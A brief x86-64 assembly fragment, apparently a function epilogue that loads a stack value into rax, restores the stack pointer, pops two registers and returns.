mov rax, qword [rbp + 8]
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret